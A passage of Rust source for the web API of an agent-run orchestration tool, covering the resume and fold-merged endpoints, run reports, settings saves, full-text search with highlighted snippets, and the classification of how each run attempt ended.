3453/// trip rather than learning it from the change stream.
3454async fn run_fold_merged(
3455    State(ui): State<Arc<Ui>>,
3456    Path(id): Path<String>,
3457    Json(body): Json<FoldMergedBody>,
3458) -> ApiResult<Json<FoldMergedView>> {
3459    let pr_url = body.pr_url.trim().to_owned();
3460    if pr_url.is_empty() {
3461        return Err(ApiError::bad_request("pr_url is required"));
3462    }
3463    let (id, mut state) = {
3464        let ui = Arc::clone(&ui);
3465        blocking(move || {
3466            let id = resolve_run(&ui.runs, &id)?;
3467            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3468                return Err(ApiError::conflict(format!(
3469                    "run {id} is being worked on by a live daemon right now"
3470                )));
3471            }
3472            let state = read_run(&ui.runs, &id)?;
3473            Ok((id, state))
3474        })
3475        .await?
3476    };
3477    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
3478        .await
3479        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3480    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3481        .await
3482        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3483    Ok(Json(FoldMergedView {
3484        run: id,
3485        before: before.as_str().to_owned(),
3486        after: after.as_str().to_owned(),
3487        removed,
3488    }))
3489}
3490
3491/// What [`run_fold_merged`] did, so the deck can say so.
3492#[derive(Debug, Serialize)]
3493struct FoldMergedView {
3494    run: String,
3495    /// `status` before the correction — normally `"blocked"`.
3496    before: String,
3497    /// `status` after — normally `"merged"`.
3498    after: String,
3499    /// Worktree paths and branch names the trailing fold removed.
3500    removed: Vec<String>,
3501}
3502
3503/// `POST /api/runs/{id}/resume`.
3504///
3505/// Carry a stalled run on from where it stopped, in the background.
3506///
3507/// A stalled card says "the work is kept" and used to offer no way to act on
3508/// that: the candidates are built and paid for, and continuing means re-asking
3509/// only the seats whose absence collapsed the panel. The alternative an
3510/// operator actually had was releasing the task, which competes three fresh
3511/// implementations against work that already exists.
3512///
3513/// **202, not 200.** A resume runs agents for minutes; holding the connection
3514/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
3515/// phone learns the outcome from the change stream.
3516///
3517/// Refused when the loop is running at all, not merely when it is on this run.
3518/// The scarce resource is the agent CLIs' quota, and a tap that quietly
3519/// started a second graph on top of whatever the loop is already driving —
3520/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
3521/// allows — would spend that quota twice over for no extra throughput.
3522async fn run_resume(
3523    State(ui): State<Arc<Ui>>,
3524    Path(id): Path<String>,
3525) -> ApiResult<(StatusCode, Json<RunSummary>)> {
3526    let (id, state) = {
3527        let ui = Arc::clone(&ui);
3528        blocking(move || {
3529            let id = resolve_run(&ui.runs, &id)?;
3530            let state = read_run(&ui.runs, &id)?;
3531            Ok((id, state))
3532        })
3533        .await?
3534    };
3535    if let Some(to) = &state.released_to {
3536        return Err(ApiError::conflict(format!(
3537            "run {} can no longer be resumed: its worktree was released to run {}, which \
3538             took the branch over.",
3539            state.short(),
3540            crate::run::short_of(to)
3541        )));
3542    }
3543    if !state.status.resumable() {
3544        return Err(ApiError::conflict(format!(
3545            "run {} is `{}`, and only a stalled or blocked run can be resumed",
3546            state.short(),
3547            status_word(state.status)
3548        )));
3549    }
3550    // Refused whenever the loop is running anything at all, not merely when
3551    // it is on this run: a manual resume racing a loop-driven run over the
3552    // same agent quota is the thing this guard exists to prevent, whether
3553    // the loop's own concurrency is one run or several.
3554    if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3555        .into_iter()
3556        .next()
3557    {
3558        return Err(ApiError::conflict(format!(
3559            "the loop is running run {} right now; stop it first, or wait for \
3560             it to finish, before resuming a run by hand.",
3561            crate::run::short_of(&work.run)
3562        )));
3563    }
3564    let _resume = ui.begin_resume(&id)?;
3565
3566    // The same shape the list route returns, so the phone updates the card it
3567    // already has rather than learning a second schema for one button.
3568    let queued = RunSummary::of(
3569        &state,
3570        !ui.questions.open_for(&id).is_empty(),
3571        state.liveness(false),
3572    );
3573    let run = id.clone();
3574    tokio::spawn(async move {
3575        let _resume = _resume;
3576        match crate::graph::Runner::resume(&run) {
3577            Ok(mut runner) => {
3578                if let Err(e) = runner.execute().await {
3579                    tracing::warn!("resume of run {run} stopped: {e:#}");
3580                }
3581            }
3582            // The run's own record is what the phone reads; this line is for
3583            // the operator's terminal.
3584            Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
3585        }
3586    });
3587    Ok((StatusCode::ACCEPTED, Json(queued)))
3588}
3589
3590async fn run_report(
3591    State(ui): State<Arc<Ui>>,
3592    Path(id): Path<String>,
3593) -> ApiResult<impl IntoResponse> {
3594    let text = blocking(move || {
3595        let id = resolve_run(&ui.runs, &id)?;
3596        // Colour is off for the whole process, set once in `serve`. Rendering
3597        // is CPU work over the full state, which is the other reason this is
3598        // not on the executor.
3599        let state = read_run(&ui.runs, &id)?;
3600        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3601        let live = state.liveness(daemon_claims);
3602        Ok(format!(
3603            "{}{}",
3604            report::run(&state),
3605            report::active_seats(&state, live)
3606        ))
3607    })
3608    .await?;
3609    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3610}
3611
3612/// The structured twin of [`run_report`]: the same state, as sections the UI
3613/// draws as cards. An unreadable run answers with the same error the text
3614/// route does; it is never turned into an empty report.
3615async fn run_report_json(
3616    State(ui): State<Arc<Ui>>,
3617    Path(id): Path<String>,
3618) -> ApiResult<Json<crate::report_view::RunReportView>> {
3619    let view = blocking(move || {
3620        let id = resolve_run(&ui.runs, &id)?;
3621        let state = read_run(&ui.runs, &id)?;
3622        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3623        Ok(crate::report_view::build(
3624            &state,
3625            state.liveness(daemon_claims),
3626        ))
3627    })
3628    .await?;
3629    Ok(Json(view))
3630}
3631
3632/// A task as the UI sees it.
3633///
3634/// The whole task, plus the two things the client would otherwise have to
3635/// reimplement: the human-readable source and the status string. Nothing is
3636/// removed - the phone shows `last_error` and the run history verbatim.
3637#[derive(Debug, Serialize)]
3638struct TaskView {
3639    #[serde(flatten)]
3640    task: Task,
3641    source_label: String,
3642    source_link: Option<SourceLink>,
3643    status_str: &'static str,
3644    /// The instruction, parsed as markdown, for the Queue card's "Full
3645    /// instruction" panel. `task.instruction` is unchanged and still carries
3646    /// the raw text.
3647    instruction_md: Vec<md::Node>,
3648    /// For a blocked task, what it waits on with each dependency's state, e.g.
3649    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
3650    /// recurses; empty for every other status.
3651    waits_on: Vec<String>,
3652    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
3653    /// behind - non-empty means nothing in the loop will ever run it.
3654    stuck_roots: Vec<String>,
3655}
3656
3657impl From<Task> for TaskView {
3658    fn from(task: Task) -> Self {
3659        Self {
3660            source_label: task.source.label(),
3661            source_link: source_link(&task.source),
3662            status_str: task.status.as_str(),
3663            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
3664            waits_on: Vec::new(),
3665            stuck_roots: Vec::new(),
3666            task,
3667        }
3668    }
3669}
3670
3671impl TaskView {
3672    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
3673        let waits_on = inv.waits_on(&task);
3674        let stuck_roots = inv
3675            .stuck_roots(&task)
3676            .iter()
3677            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
3678            .collect();
3679        Self {
3680            waits_on,
3681            stuck_roots,
3682            ..Self::from(task)
3683        }
3684    }
3685}
3686
3687/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
3688/// its absence, leaves the cache to decide.
3689#[derive(Debug, Default, Deserialize)]
3690#[serde(default)]
3691struct ReposQuery {
3692    refresh: u8,
3693}
3694
3695/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
3696/// listing `magi repos` prints at a terminal.
3697///
3698/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
3699/// so an edit to `magi.toml` takes effect without a restart, the same
3700/// reasoning [`config_for`] documents for the talk routes.
3701async fn repos_list(
3702    State(ui): State<Arc<Ui>>,
3703    Query(q): Query<ReposQuery>,
3704) -> ApiResult<Json<Vec<repos::Repo>>> {
3705    let refresh = q.refresh != 0;
3706    blocking(move || {
3707        let (cfg, _) = Config::discover(&ui.repo, None)?;
3708        Ok(Json(ui.repos_cache.list(
3709            &cfg.repos.roots,
3710            Duration::from_secs(cfg.repos.scan_ttl),
3711            refresh,
3712        )))
3713    })
3714    .await
3715}
3716
3717/// `GET /api/settings` - the effective role assignments and roster, with the
3718/// layer each came from. A config that fails to load answers 200 with an
3719/// `error`, so the screen can say so instead of drawing empty lists.
3720async fn settings_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<settings::SettingsView>> {
3721    blocking(move || Ok(Json(settings::view(&ui.repo, ui.machine_config.as_deref())))).await
3722}
3723
3724/// The body of `PUT /api/settings/roles`.
3725#[derive(Debug, Deserialize)]
3726#[serde(deny_unknown_fields)]
3727struct RolesBody {
3728    /// The `revision` the client last read.
3729    revision: String,
3730    /// Role key to its new ids; an empty list resets the key to its default.
3731    #[serde(default)]
3732    roles: std::collections::BTreeMap<String, Vec<String>>,
3733    /// Role key (`implementers`, `judges`, `reviewers`, `advisors`) to its new
3734    /// `[graph]` seat count. Kept as raw JSON so a non-integer is refused in
3735    /// words (422) instead of as a deserialization error.
3736    #[serde(default)]
3737    counts: std::collections::BTreeMap<String, serde_json::Value>,
3738}
3739
3740/// `PUT /api/settings/roles` - save role assignments to the machine config.
3741///
3742/// The write target is `ui.machine_config` and nothing in the body can change
3743/// it. A stale `revision` is a 409; anything the re-loaded config rejects is a
3744/// 422 with the reason in words.
3745async fn settings_put_roles(
3746    State(ui): State<Arc<Ui>>,
3747    body: std::result::Result<Json<RolesBody>, JsonRejection>,
3748) -> ApiResult<Json<settings::SettingsView>> {
3749    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3750    blocking(move || {
3751        settings::save(
3752            &ui.repo,
3753            ui.machine_config.as_deref(),
3754            &body.revision,
3755            &body.roles,
3756            &body.counts,
3757        )
3758        .map(Json)
3759        .map_err(|e| match e {
3760            settings::SaveError::Conflict(m) => ApiError::conflict(m),
3761            settings::SaveError::Refused(m) => ApiError {
3762                status: StatusCode::UNPROCESSABLE_ENTITY,
3763                message: m,
3764            },
3765            settings::SaveError::Internal(m) => ApiError::internal(m),
3766        })
3767    })
3768    .await
3769}
3770
3771async fn queue_list(
3772    State(ui): State<Arc<Ui>>,
3773    Query(q): Query<ListQuery>,
3774) -> ApiResult<Json<Vec<TaskView>>> {
3775    blocking(move || {
3776        let tasks = ui.queue.list();
3777        let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
3778        Ok(Json(
3779            tasks
3780                .into_iter()
3781                .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
3782                .map(|t| TaskView::with_inventory(t, &inv))
3783                .collect(),
3784        ))
3785    })
3786    .await
3787}
3788
3789/// Most hits one search returns. The rest are counted in `total`.
3790const SEARCH_MAX_HITS: usize = 100;
3791/// Longest query, in characters, and most terms it is split into.
3792const SEARCH_MAX_QUERY: usize = 200;
3793const SEARCH_MAX_TERMS: usize = 8;
3794/// Characters of context kept before the first hit, and after it.
3795const SNIPPET_BEFORE: usize = 50;
3796const SNIPPET_AFTER: usize = 110;
3797
3798/// `?scope=runs|tasks&q=...`
3799#[derive(Debug, Deserialize)]
3800struct SearchQuery {
3801    #[serde(default)]
3802    scope: String,
3803    #[serde(default)]
3804    q: String,
3805}
3806
3807/// One piece of a snippet. `hit` pieces are what matched; the client renders
3808/// them as `<mark>` through DOM text nodes, so no markup is ever built here.
3809#[derive(Debug, Serialize, PartialEq, Eq)]
3810struct SnippetPart {
3811    text: String,
3812    hit: bool,
3813}
3814
3815#[derive(Debug, Serialize)]
3816struct SearchHit {
3817    id: String,
3818    /// The name of the field the snippet was cut from.
3819    field: String,
3820    snippet: Vec<SnippetPart>,
3821    /// The run's list row, so the page can apply its state / section / repo
3822    /// filters to a hit outside the loaded window. Absent for tasks and for a
3823    /// run record the list view cannot read.
3824    #[serde(skip_serializing_if = "Option::is_none")]
3825    run: Option<RunSummary>,
3826}
3827
3828#[derive(Debug, Serialize)]
3829struct SearchView {
3830    scope: String,
3831    q: String,
3832    /// At most [`SEARCH_MAX_HITS`], newest runs / queue order first.
3833    hits: Vec<SearchHit>,
3834    /// Every match, hits beyond the cap included.
3835    total: usize,
3836    truncated: bool,
3837    /// Runs whose `run.json` could not be parsed at all. They were not
3838    /// searched; the same meaning as `runs_unreadable` in `/api/health`.
3839    unreadable: usize,
3840}
3841
3842/// The text leaves of a JSON document, with the name of the field each sits
3843/// under. Keys and numbers are skipped: they are structure, not prose.
3844fn text_leaves<'a>(
3845    value: &'a serde_json::Value,
3846    field: &'a str,
3847    out: &mut Vec<(&'a str, &'a str)>,
3848) {
3849    match value {
3850        serde_json::Value::String(s) => out.push((field, s)),
3851        serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
3852        serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
3853        _ => {}
3854    }
3855}
3856
3857/// Lower-case one character without changing how many there are, so indices
3858/// in the lowered text are indices in the original.
3859fn fold_char(c: char) -> char {
3860    c.to_lowercase().next().unwrap_or(c)
3861}
3862
3863/// Split a query into its lower-cased terms.
3864fn search_terms(q: &str) -> Vec<String> {
3865    let mut terms: Vec<String> = Vec::new();
3866    for t in q.split_whitespace() {
3867        let t = t.to_lowercase();
3868        if !terms.contains(&t) {
3869            terms.push(t);
3870        }
3871    }
3872    terms
3873}
3874
3875/// Match `terms` (all of them, anywhere in the document) against the leaves
3876/// and cut a snippet around the first hit. `None` when a term is missing.
3877fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
3878    let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
3879    let mut first: Option<usize> = None;
3880    for term in terms {
3881        let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
3882        first = Some(first.map_or(at, |f| f.min(at)));
3883    }
3884    // The leaf holding the earliest hit of any term is where the snippet is cut.
3885    let (field, text) = leaves[first?];
3886    Some(SearchHit {
3887        id: String::new(),
3888        field: field.to_owned(),
3889        snippet: snippet_of(text, terms),
3890        run: None,
3891    })
3892}
3893
3894/// A window of `text` around the first occurrence of any term, whitespace
3895/// collapsed, with every term occurrence inside the window marked.
3896fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
3897    let chars: Vec<char> = text.chars().collect();
3898    let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
3899    let needles: Vec<Vec<char>> = terms
3900        .iter()
3901        .map(|t| t.chars().map(fold_char).collect())
3902        .collect();
3903    let find = |from: usize, to: usize| -> Option<(usize, usize)> {
3904        let mut best: Option<(usize, usize)> = None;
3905        for n in needles.iter().filter(|n| !n.is_empty()) {
3906            // `to` bounds where a match may start; it may run past `to` (the
3907            // caller clips what it shows). A term longer than the field cannot
3908            // occur in it (it may live in another leaf of the document).
3909            if n.len() > chars.len() || to == 0 {
3910                continue;
3911            }
3912            let last = (to - 1).min(chars.len() - n.len());
3913            if from > last {
3914                continue;
3915            }
3916            if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
3917                && best.is_none_or(|(b, _)| i < b)
3918            {
3919                best = Some((i, i + n.len()));
3920            }
3921        }
3922        best
3923    };
3924    let Some((start, _)) = find(0, chars.len()) else {
3925        // Matched only through a case mapping that changes length: show the head.
3926        let head: String = chars.iter().take(SNIPPET_AFTER).collect();
3927        return vec![SnippetPart {
3928            text: head.split_whitespace().collect::<Vec<_>>().join(" "),
3929            hit: false,
3930        }];
3931    };
3932    let lo = start.saturating_sub(SNIPPET_BEFORE);
3933    let hi = (start + SNIPPET_AFTER).min(chars.len());
3934    let mut parts: Vec<SnippetPart> = Vec::new();
3935    let mut push = |s: &[char], hit: bool| {
3936        if s.is_empty() {
3937            return;
3938        }
3939        let text: String = s.iter().collect();
3940        match parts.last_mut() {
3941            Some(p) if p.hit == hit => p.text.push_str(&text),
3942            _ => parts.push(SnippetPart { text, hit }),
3943        }
3944    };
3945    if lo > 0 {
3946        push(&['\u{2026}'], false);
3947    }
3948    let mut at = lo;
3949    while at < hi {
3950        match find(at, hi) {
3951            Some((s, e)) => {
3952                push(&chars[at..s], false);
3953                // A match running past the window is shown up to its edge.
3954                let shown = e.min(hi);
3955                push(&chars[s..shown], true);
3956                at = shown;
3957            }
3958            None => {
3959                push(&chars[at..hi], false);
3960                at = hi;
3961            }
3962        }
3963    }
3964    if hi < chars.len() {
3965        push(&['\u{2026}'], false);
3966    }
3967    // Collapse whitespace (newlines in an instruction) without disturbing the
3968    // hit boundaries.
3969    let mut prev_space = false;
3970    for p in &mut parts {
3971        let mut out = String::with_capacity(p.text.len());
3972        for c in p.text.chars() {
3973            if c.is_whitespace() {
3974                if !prev_space {
3975                    out.push(' ');
3976                }
3977                prev_space = true;
3978            } else {
3979                out.push(c);
3980                prev_space = false;
3981            }
3982        }
3983        p.text = out;
3984    }
3985    parts.retain(|p| !p.text.is_empty());
3986    parts
3987}
3988
3989/// The search over `docs` (id, document), newest first, capped.
3990fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
3991where
3992    I: IntoIterator<Item = (String, serde_json::Value)>,
3993{
3994    for (id, doc) in docs {
3995        let mut leaves = Vec::new();
3996        // The id is text an operator types too, and it is a map key on disk,
3997        // not a leaf.
3998        leaves.push(("id", id.as_str()));
3999        text_leaves(&doc, "", &mut leaves);
4000        if let Some(mut hit) = search_document(terms, &leaves) {
4001            view.total += 1;
4002            if view.hits.len() < SEARCH_MAX_HITS {
4003                hit.id = id;
4004                view.hits.push(hit);
4005            }
4006        }
4007    }
4008    view.truncated = view.total > view.hits.len();
4009}
4010
4011/// What a conversation is searched by: its list title and each turn's text,
4012/// under `operator` / `agent` so the snippet says who spoke. Nothing else
4013/// (session ids, repo paths, usage, drafts) is part of the document.
4014///
4015/// The title rule mirrors `talkOpener` / `firstLine` in `app.js`: the first
4016/// non-empty line of the first operator turn, trimmed and cut to 96 chars.
4017fn talk_search_doc(talk: &Talk) -> serde_json::Value {
4018    let opener = talk
4019        .turns
4020        .iter()
4021        .find(|t| t.who == crate::talk::Who::Operator)
4022        .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
4023        .unwrap_or("");
4024    let title: String = if opener.chars().count() > 96 {
4025        opener.chars().take(95).chain(['\u{2026}']).collect()
4026    } else {
4027        opener.to_owned()
4028    };
4029    let turns: Vec<serde_json::Value> = talk
4030        .turns
4031        .iter()
4032        .map(|t| {
4033            let who = match t.who {
4034                crate::talk::Who::Operator => "operator",
4035                crate::talk::Who::Agent => "agent",
4036            };
4037            serde_json::json!({ who: t.body })
4038        })
4039        .collect();
4040    serde_json::json!({ "title": title, "turns": turns })
4041}
4042
4043/// Read-only full-text search over every run's `run.json`, every task or every
4044/// conversation (title and transcript).
4045///
4046/// Documents are read as plain JSON rather than `RunState` / `Task`, so a
4047/// record from an older schema still searches; only a file that is not JSON
4048/// at all is counted in `unreadable`. `artifacts/*.out` are not searched.
4049async fn search_get(
4050    State(ui): State<Arc<Ui>>,
4051    Query(q): Query<SearchQuery>,
4052) -> ApiResult<Json<SearchView>> {
4053    let query = q.q.trim().to_owned();
4054    if query.is_empty() {
4055        return Err(ApiError::bad_request("q must not be empty"));
4056    }
4057    if query.chars().count() > SEARCH_MAX_QUERY {
4058        return Err(ApiError::bad_request(format!(
4059            "q is longer than {SEARCH_MAX_QUERY} characters"
4060        )));
4061    }
4062    let terms = search_terms(&query);
4063    if terms.len() > SEARCH_MAX_TERMS {
4064        return Err(ApiError::bad_request(format!(
4065            "q has more than {SEARCH_MAX_TERMS} terms"
4066        )));
4067    }
4068    let scope = q.scope;
4069    if scope != "runs" && scope != "tasks" && scope != "chats" {
4070        return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
4071    }
4072    blocking(move || {
4073        let mut view = SearchView {
4074            scope: scope.clone(),
4075            q: query,
4076            hits: Vec::new(),
4077            total: 0,
4078            truncated: false,
4079            unreadable: 0,
4080        };
4081        if scope == "runs" {
4082            let mut unreadable = 0;
4083            // One run.json is read, matched and dropped at a time; nothing
4084            // holds the whole history. The scan runs to the end even past the
4085            // hit cap so `total` and `unreadable` stay exact.
4086            let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
4087                let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
4088                match body.and_then(|b| serde_json::from_str(&b).ok()) {
4089                    Some(v) => Some((id, v)),
4090                    None => {
4091                        unreadable += 1;
4092                        None
4093                    }
4094                }
4095            });
4096            search_docs(&terms, docs, &mut view);
4097            view.unreadable = unreadable;
4098            // Only the capped hits get a row: the filters need a run's state,
4099            // and reading every match would be the whole history again.
4100            let (open_runs, claimed, superseded) = run_row_inputs(&ui);
4101            let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
4102            for hit in &mut view.hits {
4103                if let Ok(state) = read_run(&ui.runs, &hit.id) {
4104                    hit.run = summarize(
4105                        [state],
4106                        &open_runs,
4107                        &claimed,
4108                        &superseded,
4109                        |p| probe.borrow_mut().status(p),
4110                        |p| probe.borrow_mut().started_at(p),
4111                    )
4112                    .pop();
4113                }
4114            }
4115        } else if scope == "chats" {
4116            let (talks, unreadable) = ui.talks.list_counting_unreadable();
4117            view.unreadable = unreadable;
4118            search_docs(
4119                &terms,
4120                talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
4121                &mut view,
4122            );
4123        } else {
4124            let docs = ui.queue.list().into_iter().filter_map(|t| {
4125                let mut v = serde_json::to_value(&t).ok()?;
4126                // `source` serialises as a tagged object; the label is what
4127                // the operator reads ("human", "chat@a1b2").
4128                if let Some(o) = v.as_object_mut() {
4129                    o.insert("filed_by".to_owned(), t.source.label().into());
4130                }
4131                Some((t.id, v))
4132            });
4133            search_docs(&terms, docs, &mut view);
4134        }
4135        Ok(Json(view))
4136    })
4137    .await
4138}
4139
4140/// One attempt in a task's history, as the task page lists it.
4141#[derive(Debug, Serialize)]
4142struct TaskRunView {
4143    /// 1-based position in [`Task::runs`].
4144    n: usize,
4145    id: String,
4146    short: String,
4147    /// `competition`, `solo`, `review`, `resume` or `unknown` (record unreadable).
4148    kind: &'static str,
4149    /// The run's own status string; `None` when its record cannot be read.
4150    status: Option<&'static str>,
4151    /// Whether this build could read the run's record. Counted, never hidden.
4152    readable: bool,
4153    /// A verdict from a collapsed panel is provisional, never a decision.
4154    provisional: bool,
4155    /// What kind of attempt this was, in one line.
4156    description: String,
4157    /// How it ended and why the task moved on (or what it is doing now).
4158    outcome: String,
4159    created_at: Option<Timestamp>,
4160    pr: Option<String>,
4161    /// Why this pass ended, classified once; the flowchart is built from it.
4162    exit: RunExit,
4163    /// What the pass did to the task's attempt budget.
4164    attempt: AttemptCost,
4165    /// The branch a review-only run reopened.
4166    branch: Option<String>,
4167}
4168
4169/// How one pass over a run ended, as far as the task's life is concerned.
4170#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4171#[serde(rename_all = "snake_case")]
4172enum RunExit {
4173    Unreadable,
4174    /// An earlier pass of a run id that appears again: it stopped short.
4175    Interrupted,
4176    Parked,
4177    QuotaStall,
4178    /// Stalled on a resumed pass with quota losses on record: they may be
4179    /// left over from an earlier pass, so whether this one was refunded is
4180    /// not knowable.
4181    ResumedQuotaStall,
4182    Merged,
4183    Ready,
4184    Superseded,
4185    /// The change was already on the base under other commits: the task
4186    /// finished without this run landing anything.
4187    AlreadyInBase,
4188    /// Stalled without a rate limit to blame: no verdict, attempt spent.
4189    Stalled,
4190    /// Blocked / no-op with a pull request left open: held for a person.
4191    HeldWithPr,
4192    NoopHeld,
4193    /// Blocked or failed: the attempt is spent and the task retries or holds.
4194    Spent,
4195    InProgress,
4196}
4197
4198#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4199#[serde(rename_all = "snake_case")]
4200enum AttemptCost {
4201    Spent,
4202    Refunded,
4203    None,
4204    /// Cannot be told from the records that remain.
4205    Unknown,
4206}
4207
4208impl RunExit {
4209    fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
4210        let Some(s) = s else {
4211            return Self::Unreadable;
4212        };
4213        let status = s.status;
4214        if resumed_later {
4215            Self::Interrupted
4216        } else if s.parked {
4217            Self::Parked
4218        } else if !status.done() {
4219            Self::InProgress
4220        } else if matches!(status, RunStatus::Merged) {
4221            Self::Merged
4222        } else if matches!(status, RunStatus::Ready) {
4223            Self::Ready
4224        } else if matches!(status, RunStatus::Superseded) {
4225            Self::Superseded
4226        } else if matches!(status, RunStatus::AlreadyInBase) {
4227            Self::AlreadyInBase
4228        } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4229            || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4230        {
4231            if resumed {
4232                Self::ResumedQuotaStall
4233            } else {
4234                Self::QuotaStall
4235            }
4236        } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4237            Self::HeldWithPr
4238        } else if matches!(status, RunStatus::VerifiedNoop) {
4239            Self::NoopHeld
4240        } else if matches!(status, RunStatus::Stalled) {
4241            Self::Stalled
4242        } else {
4243            Self::Spent
4244        }
4245    }
4246
4247    fn cost(self) -> AttemptCost {
4248        match self {
4249            Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
4250            Self::Merged
4251            | Self::Ready
4252            | Self::Stalled
4253            | Self::HeldWithPr
4254            | Self::NoopHeld
4255            | Self::Spent => AttemptCost::Spent,
4256            Self::InProgress => AttemptCost::None,
4257            Self::AlreadyInBase => AttemptCost::Refunded,
4258            Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
4259                AttemptCost::Unknown
4260            }
4261        }
4262    }
4263
4264    /// Short edge wording for leaving a run this way.
4265    fn edge_label(self, status: Option<&str>) -> String {
4266        match self {
4267            Self::Unreadable => "record unreadable".to_owned(),
4268            Self::Interrupted => "interrupted before the run finished".to_owned(),
4269            Self::Parked => "parked, attempt refunded".to_owned(),
4270            Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
4271            Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
4272            Self::Merged => "merged".to_owned(),
4273            Self::Ready => "ready, not merged".to_owned(),
4274            Self::Superseded => "superseded by a later attempt".to_owned(),
4275            Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
4276            Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
4277            Self::HeldWithPr => "blocked, PR left open".to_owned(),
4278            Self::NoopHeld => "verified no-op".to_owned(),
4279            Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
4280            Self::InProgress => "in progress".to_owned(),
4281        }
4282    }
4283
4284    /// Does a task in `end` follow from a run that ended this way? When not,
4285    /// somebody closed or held the task by hand.
4286    fn explains(self, end: TaskStatus) -> bool {
4287        match self {
4288            Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
4289            Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
4290            Self::Unreadable | Self::Superseded | Self::Ready => true,
4291            _ => end != TaskStatus::Done,
4292        }
4293    }
4294}
4295
4296/// `GET /api/queue/{id}` - one task with every attempt it went through.
4297#[derive(Debug, Serialize)]
4298struct TaskDetailView {
4299    #[serde(flatten)]
4300    task: TaskView,
4301    /// The attempt budget `magi serve` / `magi web` start a loop with unless
4302    /// told otherwise; the loop's own flag is not visible from here.
4303    max_attempts: usize,
4304    history: Vec<TaskRunView>,
4305    flow: FlowView,
4306    /// How many entries of `history` could not be read.
4307    runs_unreadable: usize,
4308    /// Why the attempt count can be lower than the number of runs.
4309    attempts_note: &'static str,
4310}
4311
4312const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
4313and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
4314on an agent rate limit or was parked for an upgrade. A resumed run still counts as an attempt (it appears again \
4315in the list), so the runs listed can outnumber the attempts shown only after a release or a handed-back attempt.";
4316
4317/// The branch a review-only run reopened, read off the instruction
4318/// `Runner::open_review` writes.
4319fn review_branch_of(instruction: &str) -> Option<&str> {
4320    let rest = instruction.strip_prefix("Review the work already on branch `")?;
4321    rest.split('`').next().filter(|b| !b.is_empty())
4322}
4323
4324/// Where an entry sits in a task's run list.
4325struct RunSlot<'a> {
4326    /// 1-based position.
4327    n: usize,
4328    /// The same run id appeared earlier: this pass resumed it.
4329    resumed: bool,
4330    /// Position of a later pass over the same run id, if any.
4331    resumed_later: Option<usize>,
4332    /// The previous distinct run and how it ended, for the retry note.
4333    prior: Option<(&'a str, RunStatus)>,
4334    last: bool,
4335}
4336
4337/// Describe one entry of a task's run list. Pure: everything it needs is on
4338/// the run and the task, so it is asserted without a server.
4339fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
4340    let RunSlot {
4341        n,
4342        resumed,
4343        resumed_later,
4344        prior,
4345        last,
4346    } = at;
4347    let short = run::short_of(id).to_owned();
4348    let Some(s) = state else {
4349        return TaskRunView {
4350            n,
4351            id: id.to_owned(),
4352            short,
4353            kind: "unknown",
4354            status: None,
4355            readable: false,
4356            provisional: false,
4357            description:
4358                "This run's record could not be read by this build (written by a different \
4359                          magi, or removed), so what kind of attempt it was is unknown."
4360                    .to_owned(),
4361            outcome: String::new(),
4362            created_at: None,
4363            pr: None,
